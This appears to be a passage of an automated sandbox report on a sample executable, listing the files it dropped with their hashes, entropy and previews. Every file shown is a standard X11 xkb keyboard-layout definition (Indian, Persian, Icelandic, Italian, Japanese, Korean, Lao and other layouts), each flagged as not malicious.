Preview:	// This layout includes all Indian layouts, including:.// - Devanagari (Hindi, Marathi, Sanskrit).// - Bengali.// - Gujarati.// - Kannada.// - Malayalam.// - Oriya.// - Tamil.// - Telugu.// - Urdu..// Links:.// - Indic INSCRIPT keyboard layout diagrams:.// http://java.sun.com/products/jfc/tsc/articles/InputMethod/indiclayout.html.// - Bengali Baishakhi (Bengali layouts):.// - Bengali Baishakhi Inscript (Bengali layouts):.// - Bengali Bornona (Bengali layouts):.// - Uni Gitanjali (Bengali layouts):.// http://nltr.org.// - Ekusheyr Shadhinota (Bengali layouts):.// http://ekushey.org/projects/shadhinota/index.html.// - Microsoft Windows XP SP2: Indic Language Standards - an Introduction:.// http://www.bhashaindia.com/MSProducts/XpSp2/Articles/IndicLanguageStandards.aspx..// based on a keyboard map from an 'xkb/symbols/dev' file..// Devangari is the default. Kill me if I am wrong:).default partial alphanumeric_keys.xkb_symbols "deva" {..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\inet

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	63600
Entropy (8bit):	4.90190512187811
Encrypted:	false
SSDEEP:	1536:a32iBwbb24TweO+LTkYHfsVMhtjCQRG+RK2Y3LgRw:LNCNf
MD5:	F020D8EB4A7FAC4B5BD415F1148DE78A
SHA1:	7A646C526574BCBE7195AEE6C576024D81B8F091
SHA-256:	4D71883C839BE99D1FF77ABF0B914FD9DD93D82A6181CA49BE0ACC4A751B6075
SHA-512:	1158338C6DA7052A7B6C6A234E9B0848E66EEE13635B1293B4DA92CEE073C0C06E14973A10EB7AE766960C39C4C081D7BF381CD43BCA443FC16C7784F1D3FD98
Malicious:	false
Preview:	// EAK (Easy Access, Internet, Multimedia, PDA) keyboards.// Copyright (C) 2002 Stanislav Brabec <sbrabec@suse.cz>.//.// Based on LinEAK project.// LinEAK - Linux support for Easy Access and Internet Keyboards .// Copyright (C) 2001, 2002 Mark Smulders <Mark@PIRnet.nl>..// Usage in XF86Config:.// Option "XkbLayout"."my_kb_layout".// Option "XkbVariant"."my_kb_variant".// Option "XkbModel"."my_eak_type".// Option "XkbRules"."xfree86".// Simple command line usage:.// setxkbmap 'my_kb_layout' -variant 'my_kb_variant' -model 'my_eak_type'..// All keyboards listed here should be also mentioned in.// rules/base, base.lst and base.xml...// Very common set of media keys.partial hidden alphanumeric_keys.xkb_symbols "media_common" {. key <I01> { [ XF86AudioMedia ] }; . key <I10> { [ XF86AudioPrev ] };. key <I19> { [ XF86AudioNext ] };. key <I20> { [ XF86AudioMute ] };. key <I22> { [ XF86AudioPlay, XF86Audi

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\iq

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	642
Entropy (8bit):	4.909412885168386
Encrypted:	false
SSDEEP:	12:ji3Bz160d8F1mbwuFMYKz160dshuFlZQsJz160dRkuFlZQZpJz160dEtiYuFlZQT:OT60WM8/z60MIyS60YIyZB602fIyU60+
MD5:	5EA5209982B892013E9B3982DE8A10A2
SHA1:	8858D18E738F0756F7F2832A20E1985DACA0BE83
SHA-256:	DDD24B4D8DDC2D99F894F18E6573B8632A0BB1C165FD0DDF2CF39487E7C1F8F3
SHA-512:	157E8297868208F793DDA5A02807575543A9A2F25EA9412CC2954CCFB6151ECE3F7ADC739AC41F26A0AD5C2FE24F4617FFBB577FB50065752B05A79F4A0B8BC4
Malicious:	false
Preview:	// Iraque keyboard layout,..// 3-Level layout..default partial alphanumeric_keys.xkb_symbols "basic" {. include "ara(basic)". name[Group1]= "Iraqi";.};..partial alphanumeric_keys.xkb_symbols "ku" {. include "tr(ku)". name[Group1]= "Kurdish (Iraq, Latin Q)";.};..partial alphanumeric_keys.xkb_symbols "ku_f" {. include "tr(ku_f)". name[Group1]= "Kurdish (Iraq, F)";.};..partial alphanumeric_keys.xkb_symbols "ku_alt" {. include "tr(ku_alt)". name[Group1]= "Kurdish (Iraq, Latin Alt-Q)";.};..partial alphanumeric_keys.xkb_symbols "ku_ara" {. include "ir(ku_ara)". name[Group1]= "Kurdish (Iraq, Arabic-Latin)";.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ir

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12493
Entropy (8bit):	5.280375651709254
Encrypted:	false
SSDEEP:	384:ohBxF0Ao/CgC49cvzc4hNBFDnVl5QWJwHZQ1:oh6AycvzcG5H
MD5:	8B8535AFB8932C9CFE92C809B9D73DBB
SHA1:	CE270951DE548CB677A00AB80353DF7FA53B42A7
SHA-256:	7CB4439D5E420543F5760586C4535812BA64BA7AB3CAA7342B8B1473D4DD936A
SHA-512:	564CF1B54CB3C7727FCBB777259CF27E05D5634F98EDAB61112C1C63DD4FA8B33943C9214FFB27AD6DA517FEFFF853086DDEB05388698B2AB9F25DD6262E523A
Malicious:	false
Preview:	// Iranian keyboard layout..////////////////////////////////////////.// Persian layout,.// based on.// Information Technology . Layout of Persian Letters and Symbols on Computer Keyboards.// ISIRI 9147 . 1st Edition.// Institute of Standards and Industrial Research of Iran.// http://www.isiri.org/UserStd/DownloadStd.aspx?id=9147.// http://behnam.esfahbod.info/standards/isiri-keyboard-9147.pdf.//.// Author: Behnam Esfahbod <behnam@esfahbod.info>.//..default partial alphanumeric_keys.xkb_symbols "pes" {. name[Group1]= "Persian";.. include "ir(pes_part_basic)". include "ir(pes_part_ext)".. include "nbsp(zwnj2nb3nnb4)". include "level3(ralt_switch)".};...partial alphanumeric_keys.xkb_symbols "pes_keypad" {. name[Group1]= "Persian (with Persian Keypad)";.. include "ir(pes_part_basic)". include "ir(pes_part_keypad)".. include "nbsp(zwnj2nb3nnb4)". include "level3(ralt_switch)".};..partial hidden alphanumeric_keys.xkb_symbols "pes_part_basic" {.. // Persi

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\is

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8810
Entropy (8bit):	5.192071507809831
Encrypted:	false
SSDEEP:	192:0BL1GQFJaot0cnPSzanMiQmgRn4LAqWc2WXQFj1a+Jj:0BBRFAotYGnMtuAqn2WXQF5a+Jj
MD5:	83B7979409211421CE8D09FA4E4BC83D
SHA1:	1866A32C1BA1C1C974D03318A48BC028DB75B6A2
SHA-256:	4BADEFAC87D6B3FB1C776CFDFA9E84FB2EB304231C230E87E2C4DACFAEECA8B9
SHA-512:	EB551FFE4E2990FEA9FA67EFC56F1E3F3E8396D14E0DBAD4DE9CBD7C3BF88DF8EE9EBA03627632AB930DC66D08208A92461D70C9C19E65B9F08D9FDE7E1BDBBA
Malicious:	false
Preview:	// based on.// XKB keyboard by Hrafnkell Eiriksson - hkelle@rhi.hi.is.// fixes by Olafur Osvaldsson - oli@isnic.is.//.// "basic" corrected according to the Icelandic standard for keyboards,.// IST 125:1995 (some symbols substituted by a dead diacritic)..// Some positions are according to IST ISO/IEC 9995-3:1994.// Added nobreakspace..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Icelandic";..// <AE00> = <TLDE>. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE04>.{ [ 4, dollar, onequarter, currency ].};. key <AE11>.{ [odiaeresis, Odiaeresis, backslash, questiondown ].};. key <AE12>.{ [ minus, underscore, dead_cedilla, dead_ogonek ].};.. key <AD11>.{ [ eth, ETH, dead_diaeresis, dead_abovering ] };. key <AD12>.{ [apostrophe, question, asciitilde, dead_macron ].};.. key <AC10>.{ [ ae, AE, asciicircum, dead_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\it

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12667
Entropy (8bit):	4.385573004146589
Encrypted:	false
SSDEEP:	384:0gxkZIb23SzTYj/OgaA30lddzbu/DUXfSsibX9J1:0NIb2UTq8SOf+bl
MD5:	70BBC598DA884B65FC52D639D9195AA4
SHA1:	6E6FF3967FF0339B4834AD533A0907FBC77AF679
SHA-256:	4ACA9DAA46AE536D20EFB7B53365D1983B8E16D86A8998198B53D7CB84EFDCAD
SHA-512:	13EB38BF9448037ECCD1F39C3BA3C64DEF78DF9EC916F705C88FD3F6F787E0DED884ED38C05268A420040D6CE5E6A67BCDAB572FADA3C0AE13A43D26751A1A93
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/it' file.// 17 May 2003 Modified by Sebastiano Vigna (vigna@dsi.unimi.it)..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Italian";.. key <TLDE>.{ [ backslash, bar, notsign, brokenbar ].};.. key <AE02>.{ [ 2, quotedbl, twosuperior, dead_doubleacute ] };. key <AE03>.{ [ 3, sterling,threesuperior, dead_tilde ].};. key <AE04>.{ [ 4, dollar, onequarter, oneeighth ] };.. key <AE10>.{ [ 0, equal, braceright, dead_ogonek ] };. key <AE11>.{ [apostrophe, question, grave, questiondown ].};. key <AE12>.{ [ igrave, asciicircum, asciitilde, dead_circumflex ] };.. key <AD11>.{ [ egrave, eacute, bracketleft, braceleft ].};. key <AD12>.{ [ plus, asterisk, bracketright, braceright ].};.. key <AC10>.{ [ ograve, ccedilla, at, dead_cedilla ] };. key <AC

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8332
Entropy (8bit):	5.072718994699535
Encrypted:	false
SSDEEP:	192:Vcqij2UWDYDLzNd/zLYYJOS6eAlR6vqYZl5xtYZq+cC:VcqrUWDYDLzNdQcOS6TlR6vqgxtYA+cC
MD5:	4F2C0927AACF1F0BBEF1FCDD1D65A45E
SHA1:	4E411F47CB3918509A6B0CB7ADE1B038E524BD80
SHA-256:	B1A91065560CE92757960A1F481D81217E15622513D9E2394159B1C9048FD944
SHA-512:	D6D9EC6AF98656C6CB4A6EED1781FB8A52ACCF10B680A08DC98261D2708C76B08C26003E6E246D882B5CE02D36F3B08839BAD0ED5A2E639E10751490D2D6E4E5
Malicious:	false
Preview:	// Symbols for Japanese 106-keys keyboards (by tsuka@kawalab.dnj.ynu.ac.jp)...default partial alphanumeric_keys.xkb_symbols "106" {.. include "jp(common)". name[Group1]= "Japanese";.. key <AE10> { [ 0, asciitilde.] };. key <AE13> { [ backslash, bar.] };.};..partial hidden alphanumeric_keys.xkb_symbols "common" {. // "Common" keys for jp 106/109A layouts... key <HZTG> {..type[Group1]="PC_ALT_LEVEL2",..symbols[Group1]= [ Zenkaku_Hankaku, Kanji ]. };.. key <AE01> { [ 1, exclam..] };. key <AE02> { [ 2, quotedbl..] };. key <AE03> { [ 3, numbersign.] };. key <AE04> { [ 4, dollar..] };. key <AE05> { [ 5, percent..] };. key <AE06> { [ 6, ampersand..] };. key <AE07> { [ 7, apostrophe.] };. key <AE08> { [ 8, parenleft..] };. key <AE09> { [ 9, parenright.] };. key <AE11> { [ minus, equal..] };. key <AE12> { [ asciicircum,.asciitilde] };.. key <AD01> { [ q, Q...] };. key <AD02> { [ w, W...] };. key <AD03> { [ e, E...] };. key <AD04

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ke

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2185
Entropy (8bit):	5.113107326307085
Encrypted:	false
SSDEEP:	48:1TrJY5DpnpoPV+WZJ0E+WsnBLDpnpoPV+WZJ0E+Wzt:lry5DdGWzznBLDdGWzst
MD5:	FC2D92CF59081AF3C3D2BB2FADC22F10
SHA1:	C7A02EA5DC707E6BD0C879D4211F208C94E70DC9
SHA-256:	455D62444528B1B259257F052B1CF15952FCE616ED1C048A945DFAA04B8EC7D5
SHA-512:	D3E480D58699E24511992398786BDE5ED846610A81DC5BDF19B60E9CF82B44B9E10103162B904FCFEC0C4892EDCB6D505E3CA9CE4A4024591A51D7F69E3160BC
Malicious:	false
Preview:	// Keyboard layout for Swahili in Arabic script..// Based on Martin Vidner's Buckwalter transliteration variant of the Arabic keyboard.// Please notify any corrections or omissions to.// Kevin Donnelly (kevin@dotmon.com)..default partial alphanumeric_keys.xkb_symbols "swa" {.. include "us".. name[Group1]= "Swahili (Kenya)";. . key <AC10> { [ semicolon,. colon, 0x01000324, 0x01000324 ] };.//COMBINING DIAERESIS BELOW.. key <AC11> { [apostrophe, quotedbl, 0x01000301, 0x01000308 ] };.//COMBINING ACUTE ACCENT, COMBINING DIAERESIS. key <TLDE> { [ grave, asciitilde, 0x01000300, 0x01000303 ] };.//COMBINING GRAVE ACCENT, COMBINING TILDE. key <AE06> { [ . 6, asciicircum, 0x01000302 . . ] };.//COMBINING CIRCUMFLEX ACCENT. key <AE08> { [. 8, asterisk, 0x01000307, 0x01000323 ] };.//COMBINING DOT ABOVE, COMBINING DOT BELOW. key <AE09> { [. 9, parenleft, 0x01000306. ] };.//COMBINING BREVE. key <AE10> { [. 0, paren

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\keypad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	21673
Entropy (8bit):	5.260656894643468
Encrypted:	false
SSDEEP:	192:nPLOfI+KgPXs98zprgevZOPqvxr1LzzH5Bwc+/xK6ET3QS+KvpFDs/7cNAysbNaE:qXzP3we6IZE7QFn1jCD/fO0q6R
MD5:	F3B27B5B196CC21E3C4FFC16940963FF
SHA1:	41191245B1244C3D16B045E99DD0751D5BDC6543
SHA-256:	8816E6D43807235D9BA4CEEC419F696886719BF8785737A5286A6CB3A7629B0C
SHA-512:	19734F13931372E4B6618B3C3C7104217235F22BEEE1B06B1DB8C87B51D95201954339C229F0177F1E8B6D7318AFE02B8CC78E5217145D309659634FBF1A643A
Malicious:	false
Preview:	// $XKeyboardConfig$.// $Xorg: keypad,v 1.3 2000/08/17 19:54:43 cpqbld Exp $..partial hidden keypad_keys.xkb_symbols "overlay" {. include "keypad(overlay1)".};..partial hidden keypad_keys.xkb_symbols "overlay1" {.. // Begin "Keypad" section.. key <KP7> {.[ KP_7.],.overlay1=<KO7>.};. key <KP8> {.[ KP_8.],.overlay1=<KO8>.};. key <KP9> {.[ KP_9.],.overlay1=<KO9>.};.. key <KP4> {.[ KP_4.],.overlay1=<KO4>.};. key <KP5> {.[ KP_5.],.overlay1=<KO5>.};. key <KP6> {.[ KP_6.],.overlay1=<KO6>.};.. key <KP1> {.[ KP_1.],.overlay1=<KO1>.};. key <KP2> {.[ KP_2.],.overlay1=<KO2>.};. key <KP3> {.[ KP_3.],.overlay1=<KO3>.};.. key <KP0> {.[ KP_0.],.overlay1=<KO0>.};. key <KPDL> { .[ period.],.overlay1=<KODL>.};.. key <KO7> {.[ KP_7.].};. key <KO8> {.[ KP_8.].};. key <KO9> {.[ KP_9.].};.. key <KO4> {.[ KP_4.].};. key <KO5> {.[ KP_5.].};. key <KO6> {.[ KP_6.].};.. key <KO1> {.[ KP_1.].};. key <KO2> {.[ KP_2.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kg

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6080
Entropy (8bit):	4.954490949810516
Encrypted:	false
SSDEEP:	96:OLhCV+NIS2Mx5wai1qpVl7sd4mM4vUDT6P:pSdTwaisd4/M4sCP
MD5:	58E214842A4F1E234B846FB17F59D674
SHA1:	195FBDC12EFD151DACCC460988786686158BAF31
SHA-256:	1E0E2A1CD5A634318AFD9B5E87931F3AE5791E18DA1F6314E9479A39F45396BA
SHA-512:	D7A23A0F586775FBBF9D1C11FC1C4169845E6E6E0EFF21CFE7F5795E948E786DFB731CC5D668755AC95527C0E2BA8F38ADCE6EFF94FDCC57439B0CB0A5BFFEFC
Malicious:	false
Preview:	// Kirghiz (aka Kyrgyz) Standard Keyboard.//.// Standard. -.Phonetic.// ______________- ________________.// .1234567890.. .1234567890...// .!".;%:?*().. .!".;%:?-()...//.// ............. ..............// ........... ............// ..........(,) ..........(,)..// Authors:.// Timur Jamakeev <ztimur [at] gmail.com>.// Ilyas Bakirov <just_ilyas [at] yahoo.com>.// Yury Fedorov <yury-fedorov [at] prime-task.com>.// Emil Asanov <a7 [at] on.kg>.// Ulan Melisbek <ulan.melisbek [at] gmail.com>...// Kyrgyz standard keyboard.default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Kyrgyz";.. key.<AE01> {.[..1,. exclam .].};. key.<AE02> {.[..2, quotedbl.].};. key.<AE03> {.[..3, numerosign.].};. key.<AE04> {.[..4, semicolon.].};. key.<AE05> {.[..5,. percent.].};. key.<AE06> {.[..6,. colon.].};. key.<AE07> {.[..7,. question.].};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5009
Entropy (8bit):	4.941848232042548
Encrypted:	false
SSDEEP:	96:3jVJP534jAeBQyTIEeoLvjez4FDlHKP+dW4Jq1Lh:5HojAuQ5E57jeslqP34k19
MD5:	0B0FAE1E6ADC4AD9B6ABCDEF3AE9454F
SHA1:	1DEAE01EB0AE3042FDF56915D07E79764EB41BC5
SHA-256:	17F75323CF0A71E118BD21B57C941FD9D9ED950E4901B924685815C6026897FA
SHA-512:	E1856BBEF226BF75536801E23642C9F0B9C67DE5F371A148F01A1299F3D48BCB0D9CD0859C4128AFA353222833D8F7FBE83F7A5128DEDD92EB77580588AC810C
Malicious:	false
Preview:	//.// khmer unicode keyboard for XFree86 4.3 or XOrg .// (might work with older versions, not tested).//.// layout defined by National Information Communications Technology Development Authority (NiDA).// http://www.nida.gov.kh.//.// version: 1.0.1.//.// date: 14.09.2005.//.// author: Jens Herden (jens at khmeros.info).//.//.// understanding the symbols:.//.// 0x100yyyy = unicode, yyyy is hexcode.// codes that are not assigned in unicode (0x10017fb-0x10017ff),.// are used to make compositions for special vowels.//.// voidsymbol = no symbol for this combination.//.// all other symbol are defined in: /usr/X11/include/X11/keysymdef.h.// but with a leading 'XK_'.//..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Khmer (Cambodia)";. .// there are four levels defined:.//.// normal shift...right-alt.right-alt + shift.//..// keys: `1234567890

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kpdl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	5.133465997576792
Encrypted:	false
SSDEEP:	48:DoRAS0L16gp0ZJgay3Y6whFgEJjM/Hon1gnsZ/YEsmxFEFE6UFjVA6oXo3qY:Do6B8Jgauy6/UUmYBQKFFajVA6o4
MD5:	AF037C59909462114F5D292E9E9DA780
SHA1:	4BC234079BBFB469D159F9A398D2D63E983314E4
SHA-256:	B81EF8AA7CFA4B3272986272150FD445B8EFFEFF986C2097CD88FBA880FED1BB
SHA-512:	602A8BBF6BFD1C8339CD3423CE40AADC76843B44AD0EBEF143CF0B4B0E4A3A0555D26264D6442743638F5F4861E1138E7A1DBBFB7D379C8A7E4D446D4D1DF381
Malicious:	false
Preview:	// The <KPDL> key is a mess..// It was probably originally meant to be a decimal separator..// Except since it was declared by USA people it didn't use the original.// SI separator "," but a "." (since then the USA managed to f-up the SI.// by making "." an accepted alternative, but standards still use "," as.// default).// As a result users of SI-abiding countries expect either a "." or a ",".// or a "decimal_separator" which may or may not be translated in one of the.// above depending on applications..// It's not possible to define a default per-country since user expectations.// depend on the conflicting choices of their most-used applications,.// operating system, etc. Therefore it needs to be a configuration setting.// Copyright . 2007 Nicolas Mailhot <nicolas.mailhot @ laposte.net>...// Legacy <KPDL> #1.// This assumes KP_Decimal will be translated in a dot.partial keypad_keys.xkb_symbols "dot" {.. key.type[Group1]="KEYPAD" ;.. key <KPDL> { [ KP_Delete, KP_Decimal ] }; //

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	679
Entropy (8bit):	4.971864908712673
Encrypted:	false
SSDEEP:	12:aK160dQyxuFkHTJk160dayxuFMlTB2aT9XgRb2dybQvYKdy9XgRfguYoPQMz16kS:aW60vpC60xReaIQwKZ4Vooa66S
MD5:	9C5DC29D58915BAECAD42139EBF5B1B6
SHA1:	E89CD025983FCF8D03D2BF67CBE6AF25F993E0BE
SHA-256:	1A8D23C2522C05C0649280396DC6A88619C611487F8A1CC6ADA4E94D471C8150
SHA-512:	CB5557F780E9D19B5D91467BB5158FEFDE155E955EE206F4312535B3457197CA02DFB89D7CFD28ACB40969358F7FC37182E3A00A1B7C0EAA04F99A5006433F6C
Malicious:	false
Preview:	default alphanumeric_keys.xkb_symbols "kr106" {. include "us". name[Group1]= "Korean";. include "kr(koreankeys)".};..alphanumeric_keys.xkb_symbols "kr104" {. include "us". name[Group1]= "Korean (101/104 key compatible)";. include "kr(koreankeys)". include "kr(koreankeys_raltctl)".};..partial hidden function_keys.xkb_symbols "koreankeys" {. key <K71> { [ Hangul ] };. key <K72> { [ Hangul_Hanja ] }; .};..partial hidden function_keys.xkb_symbols "koreankeys_raltctl" {. key <RALT> { [ Hangul ] };. key <RCTL> { [ Hangul_Hanja ] }; .};..// EXTRAS:..partial alphanumeric_keys..xkb_symbols "sun_type6" {..include "sun_vndr/kr(sun_type6)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11827
Entropy (8bit):	4.3076327146868865
Encrypted:	false
SSDEEP:	192:E5KZd9mrCCcIbvnR/SZBfdKsQNLmbQkY23ddKsYNLCbnJY2SdA:oKj9me1WvRQBlKsyLQt733Ks6LcJ7v
MD5:	8F73D9522BE5CD1027624F825FC42F3B
SHA1:	E4712F08B4359C55D9E6B1DD8EABF7CB47F643B8
SHA-256:	19C568E539F09DA1251E7C2E524EAAA12FEB6C2F7F7CDE5C13EB21AD19B1357E
SHA-512:	C78B3190C6733855A16DDD357B1ACD38C178ACB7FA01E1AF76F043CFB21D7A70C88304E0D6831E95D266DDD7B4D959AC09BCDC70EED281097F2901EFE500F27E
Malicious:	false
Preview:	// Based on http://www.sci.kz/~sairan/keyboard/kzkbd.html.// Baurzhan Ismagulov <ibr@radix50.net>.//..// TODO:.// 1. AltGr with TLDE and LSGT..// 2. Dead key for ruskaz and kazrus..// 3. Ctrl + <key>..// 4. Alt-Tab...// RST KazSSR 903-90.// levels 3 and 4 are non-standard extensions.default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1] = "Kazakh";..key.type[group1] = "FOUR_LEVEL";.. key <TLDE> { [ parenleft, parenright, Cyrillic_io, Cyrillic_IO ] };. key <AE01> { [ doublelowquotemark, exclam ] };. key <AE06> { [ comma, semicolon ] };. key <AE07> { [ period, colon ] };. key <BKSL> { [ backslash, slash ] };. key <AB10> { [ numerosign, question ] };. key <LSGT> { [ less, greater, bar, brokenbar ] };..key.type[group1] = "ALPHABETIC";.. key <AE02> { [ Cyrillic_schwa, Cyrillic_SCHWA ] };. key <AE03> {

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\la

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5613
Entropy (8bit):	4.4058275014299175
Encrypted:	false
SSDEEP:	96:v1WVM0zt/4FYJMIJxedZtx6mD/ZJJtn2u:990ztwFyMI276mDxDtn2u
MD5:	F2E044C880F22484ECFA135098A16C29
SHA1:	03242F20348F78387F8F506B13D1DB5C542B4DC4
SHA-256:	59DE43E12FFABE9A71BD58701765602E274B0AC798E268716FFAB6A37D2F36F6
SHA-512:	4846B61FA19084878D8A595AD46F900260E37F427FC06BAF3A8E56DC9858B4AF5904146D4D4758C368D2BCDC4E7E3DE99DCC651DB3B98B7F39764C9247680765
Malicious:	false
Preview:	// Lao keymap, by Anousak Souphavanh <anousak@muanglao.com>..default partial alphanumeric_keys.xkb_symbols "basic" {.. // This keymap describes the Lao keyboard standard,. // which is [kind of] widely used in Laos... name[Group1]= "Lao";.. key <TLDE> { [ 0x100200D...]};. key <AE01> { [ 0x1000ea2, 0x1000ed1.]};. key <AE01> { [ 0x1000ea2, 0x1000ed1.]};. key <AE02> { [ 0x1000e9f, 0x1000ed2.]};. key <AE03> { [ 0x1000ec2, 0x1000ed3.]};. key <AE04> { [ 0x1000e96, 0x1000ed4.]};. key <AE05> { [ 0x1000eb8, 0x1000ecc.]};. key <AE06> { [ 0x1000eb9, 0x1000ebc.]};. key <AE07> { [ 0x1000e84, 0x1000ed5.]};. key <AE08> { [ 0x1000e95, 0x1000ed6.]};. key <AE09> { [ 0x1000e88, 0x1000ed7.]};. key <AE10> { [ 0x1000e82, 0x1000ed8.]};. key <AE11> { [ 0x1000e8a, 0x1000ed9.]};. key <AE12> { [ 0x1000ecd...]};.. key <AD01> { [ 0x1000ebb...]};. key <AD02> { [ 0x1000ec4, 0x1000ed0

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\latam

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2450
Entropy (8bit):	4.77728025616609
Encrypted:	false
SSDEEP:	48:xEWoW0hnEr/6vYlFoTlVYabzv89SHaQEN/61YLqztHm3:xoXpE76QfVav8AaQEx61Y29m3
MD5:	4BBC31CE590B0168D81E23A05846AB96
SHA1:	C17CAF9F224016EE30603604D68E99DE988E18A1
SHA-256:	746D074DB57E936D15473243A68ACA792B356070F35FC7ECBFA34F13B1507E2B
SHA-512:	A1DA4BC2B1452F5CC4E6974599D53837057DD3E929E1CB2673EAC8F277E68803A66465353ADCAB11110E5BAE161F6C7B553920A7FFC22396417D7A5F40A7ABF0
Malicious:	false
Preview:	// based on a keyboard.// Modified for a real Latin American Keyboard by Fabian Mandelbaum..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Spanish (Latin American)";.. key <AE01>.{ [ 1, exclam, bar, exclamdown ].};. key <AE03>.{ [ 3, numbersign, periodcentered, sterling ].};. key <AE04>.{ [ 4, dollar, asciitilde, dollar ].};. key <AE06>.{ [ 6, ampersand, notsign, fiveeighths ].};. key <AE11>.{ [apostrophe, question, backslash, questiondown ].};. key <AE12>.{ [questiondown, exclamdown, dead_cedilla, dead_ogonek].};.. key <AD11>.{ [dead_acute, dead_diaeresis, dead_diaeresis, dead_abovering ].};. key <AD12>.{ [ plus, asterisk, asciitilde, dead_macron ].};.. key <AC10>.{ [ ntilde, Ntilde, asciitilde, dead_doubleacute ] };. key <AC11>.{ [ braceleft, bracketleft, dead_circumflex, braceleft].};. key <TLDE>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\latin

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	14636
Entropy (8bit):	4.630447852782591
Encrypted:	false
SSDEEP:	192:tdf2xEhxtHpIrB41az7M7glMUxV74XndYA02M/:Xf26btHp51oM7LUnsYtx
MD5:	F58A71315BA863E40DE94637CF8D21E2
SHA1:	48EA77C5D4E874402824C2EC629836943DB65B2C
SHA-256:	CB3AD52DEF656F307D3A50B3082EBF3CB584DC86E12692A099EAE6CD93EE3E28
SHA-512:	19A490BFFA31F72AAC534B63D9C6F71D42A2A8065DBE736BB87A58737A7DBC63EF8F50D9624FDB6A4017DAFB4FAF44C040ED805B8BE507ADA69042F1EF2DBDFF
Malicious:	false
Preview:	// Common Latin alphabet layout..default partial.xkb_symbols "basic" {.. key <AE01>.{ [ 1, exclam, onesuperior, exclamdown ].};. key <AE02>.{ [ 2, at, twosuperior, oneeighth ].};. key <AE03>.{ [ 3, numbersign, threesuperior, sterling ].};. key <AE04>.{ [ 4, dollar, onequarter, dollar ].};. key <AE05>.{ [ 5, percent, onehalf, threeeighths ].};. key <AE06>.{ [ 6, asciicircum, threequarters, fiveeighths ] };. key <AE07>.{ [ 7, ampersand, braceleft, seveneighths ].};. key <AE08>.{ [ 8, asterisk, bracketleft, trademark ].};. key <AE09>.{ [ 9, parenleft, bracketright, plusminus ].};. key <AE10>.{ [ 0, parenright, braceright, degree ].};. key <AE11>.{ [ minus, underscore, backslash, questiondown ].};. key <AE12>.{ [ equal, plus, dead_cedilla, dead_ogonek ].};.. key <AD01>.{ [ q,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\level3

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6080
Entropy (8bit):	5.144704404926374
Encrypted:	false
SSDEEP:	96:2yy/cyaFEEiSEV7747573Z67hzVvMgO+eDEvRwo:2h78E/0VKVUNYJB
MD5:	47448A6E646B1FC46610BAB431470151
